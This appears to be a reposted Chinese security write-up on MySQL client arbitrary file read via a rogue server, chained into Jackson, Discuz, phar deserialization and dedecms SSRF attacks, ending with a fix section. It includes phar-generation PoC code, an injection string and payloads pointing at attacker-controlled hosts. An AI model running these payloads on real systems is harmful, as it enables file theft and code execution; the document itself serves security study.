Load data infile
首先认识一下一个语法:
Load data infile
我们看下mysql手册是如何定义的。
LOAD DATA
[LOW_PRIORITY | CONCURRENT] [LOCAL]
INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var
[, col_name_or_user_var] ...)]
[SET col_name={expr | DEFAULT},
[, col_name={expr | DEFAULT}] ...]
基本用法(导入文件test.txt到table1表中,txt文件中的行分隔符为rn,默认tab键为字段分隔符,txt文件中的每个字段按顺序对应column1、column2,。。。导入表中)
load data infile "/test.txt" into table1 lines terminated by 'rn' (colunm1,colunm2,...)
如果字段分隔符不是tab,可加入:fields terminated by ‘分隔符’
知道了该语法的基本用法之后,我们看一下在渗透中的用法,也就是读文件。
load data infile "C:2.txt" into table test FIELDS TERMINATED BY 'n';
不过需要file权限以及收到 –secure-file-priv的限制。
加入local之后就可以了
说明:MySQl的版本不得低于3.22.15,否则load data local不起作用,以及local_infile参数为on
流程
网上有很多相关的原理我这里就不过多赘述了,然后原理懂得之后,我们其实就可以进行利用了。一张图了解大概的流程;
然后我这里使用phpstudy的phpmyadmin做演示,嫌麻烦的可以用vulnspy的在线环境,
需要的是操作步骤:修改phpMyAdmin目录下的 /libraries/config.default.php
/**
* allow login to any user entered server in cookie based authentication
*
* @global boolean $cfg[‘AllowArbitraryServer’]
*/
$cfg[‘AllowArbitraryServer’] = true;
将默认值false修改为true;
POC
然后远程启动rogue_mysql_server,在phpmyadmin的登录处填写自己的恶意服务器地址,帐号密码随意,即可获取到读取的文件(在恶意mysql中自行制定),在本目录下生成mysql.log文件,里面包含读取到的文件内容
影响范围
下面是一些受影响的范围:
底层应用
客户端 | 是否影响 |
mysql client 1 | pwned |
php mysqli | pwned,fixed by 7.3.4 |
php pdo | 默认禁用 |
python MySQLdb | pwned |
python mysqlclient | pwned |
java JDBC Driver | pwned,部分条件下默认禁用 |
navicat | pwned |
探针
探针名称 | 是否影响 |
雅黑PHP探针 | 失败 |
iprober2 探针 | 失败 |
PHP探针 for LNMP一键安装包 | 失败 |
UPUPW PHP 探针 | 失败 |
云服务商 云数据库 数据迁移服务
服务商 | 是否影响 |
腾讯云 DTS | 失败 禁用Load data local |
阿里云 RDS 数据迁移 | 失败 禁用Load data local |
华为云 RDS DRS服务 | 成功 |
京东云 RDS | 不支持远程迁移功能分布式关系数据库未开放 |
UCloud RDS | 不支持远程迁移功能,分布式关系数据库不能对外数据同步 |
QiNiu云 RDS | 不支持远程迁移功能 |
新睿云 RDS | 不支持远程迁移功能 |
网易云 RDS | 外部实例迁移 成功 |
金山云 RDS DTS数据迁移 | 成功 |
青云Cloud RDS | 数据导入 失败,禁用load data local |
百度Cloud RDS | DTS 成功 |
Google could SQL数据库 | 迁移失败 禁用Load data infile |
AWS RDS | DMS服务 成功 |
Excel online sql查询
header 1 | header 2 |
WPS | failed(没找到这个功能) |
Microsoft excel | failed(禁用了infile语句) |
Google 表格 插件Supermetrics | pwned |
Advanced CFO Solutions | MySQL Query failed |
SeekWell | failed |
Skyvia Query Gallery | failed |
database Borwser | failed |
Kloudio | pwned |
拓展
CVE-2019-12086 jackson任意文件读取漏洞
CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。这是因为缺少com.mysql.cj.jdbc.admin.MiniAdmin验证。
其实这个漏洞主要还是Mysql的锅,在com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。
payload:
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
任意文件读 with 配置文件泄露
在Discuz x3.4的配置中存在这样两个文件
config/config_ucenter.php
config/config_global.php
在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址:http://localhost:8086/upload/uc_server
修改为:http://localhost:8086/upload/uc_server');phpinfo();//
当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效
任意文件读 to 反序列化
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。
首先需要一个生成一个phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local查询,读取了本地的
phar://./phar.phar
成功触发反序列化
反序列化 to RCE
当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下
•当对象被创建的时候调用:__construct•当对象被销毁的时候调用:__destruct•当对象被当作一个字符串使用时候调用:__toString•序列化对象之前就调用此方法(其返回需要是一个数组):__sleep•反序列化恢复对象之前就调用此方法:__wakeup•当调用对象中不存在的方法会自动调用此方法:__call•配合与之相应的pop链,我们就可以把反序列化转化为RCE。
dedecms 后台反序列化漏洞 to SSRF
dedecms 后台,模块管理,安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。
我们需要先生成相应的phar
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new Control();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555可以收到
修复方式
对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。
都是学习笔记,原文地址:https://www.lorexxar.cn/2020/01/14/css-mysql-chain/
原文始发于微信公众号(鸿鹄实验室):Mysql Client 任意文件读取攻击链拓展